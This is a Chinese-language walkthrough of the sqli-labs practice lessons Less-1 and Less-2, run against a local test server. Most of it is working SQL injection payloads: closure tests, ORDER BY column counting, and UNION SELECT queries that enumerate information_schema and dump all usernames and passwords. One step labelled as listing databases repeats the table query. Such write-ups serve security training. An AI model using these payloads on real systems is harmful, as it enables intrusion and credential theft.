Less-1
先以get方式输入?id=1 or 1=1 --,结果如下,未报错并且绿字反馈用户名及密码:
1 | http://127.0.0.1/sqli-labs/Less-1/?id=1 or 1=1 -- |

测试闭合符号,常见的闭合符号有'、"、')、"),这一题用到的闭合符号恰巧都能使用
判断列数oeder by (by 3测试字段数为3)
1 | http://127.0.0.1/sqli-labs/Less-1/?id=1' order by 3 --+ |
直到值为4的时候反馈库中没有第四列数据:
union联合查询
测试联合查询库中有的前三列,格式如下,做间隔符:
1 | http://127.0.0.1/sqli-labs/Less-1/?id=1' and 1=2 union select 1,2,3 --+ |
没有报错证明命令格式无误,但依旧反馈两个大大的绿色 Dumb ,依旧不是我们想要的,问题在于union前面的id,ID值为1的1、2、3列表内没有数据不代表别的ID值内没有,尝试更换ID值继续测试:
http://127.0.0.1/sqli-labs/Less-1/?id= X ‘ and 1=2 union select 1,2,3 –+
将以上命令中的红色X(ID值)替换得到的不同反馈如下:
ID=0时(无信息)↓—————————ID=2时(有趣)↓

前面的步骤自从判断闭合符之后就是一下这个样子
Your Login name:Dumb
Your Password:Dumb
差点让我放弃,我以为我的靶场坏了呢,突然反馈这么多有趣的信息,立刻精神倍儿棒。继续!
1 | ?id=0' union select 1,version(),database() --+ |

此处宽字节注入涉及到的函数:
addslashes() 函数返回在预定义字符之前添加反斜杠的字符串;
database()查询数据库;mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符;mysql_escape_string() — 转义一个字符串;version()Version确认(版本确认);
查看所有数据库名:
1 | ?id=1' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema='security')--+ |

查询security内的所有表名:
1 | ?id=1' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema='security')--+ |

爆
爆数据表——使用下面的语句爆破出列名:
1 | ?id=1' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name='users') --+ |

爆用户名和密码——使用下面的语句爆破出用户名及密码:
1 | ?id=1' union select 1,(select group_concat(password) from security.users) ,(select group_concat(username) from security.users) --+ |

Less-2
第一步先判断闭合符,键入?id=1并逐个判断闭合符号
报错:
You have an error in your SQL syntax; check the
manual that corresponds to your MySQL server version for the right
syntax to use near ‘' LIMIT 0,1’ at line 1
不仅是'爆出这样的错误,常见的闭合符'、"、')、")都报出同样的错误。
通过键入
1 | ?id=1 and 1=1 --+ |
反馈亲切的:
Your Login name:Dumb
Your Password:Dumb
推断出闭合符为整形
同第一题判断数列order by,同第一题一样列数为三列:
查看回显地点
1 | ?id=-1 union select 1,2,3–+ |
利用联合查询来查找想要的数据:
1 | ?id=-1 union select 1,database(),version()--+ |

查看后台数据库的语句,可见与预期相符:
爆用户名和密码,与第一题几乎一样,区别在于闭合符号,第二题考察到的是整形闭合符号,第一题的是'
1 | ?id=-1 AND 1=2 union select 1,(select group_concat(password) from security.users) ,(select group_concat(username) from security.users) --+ |







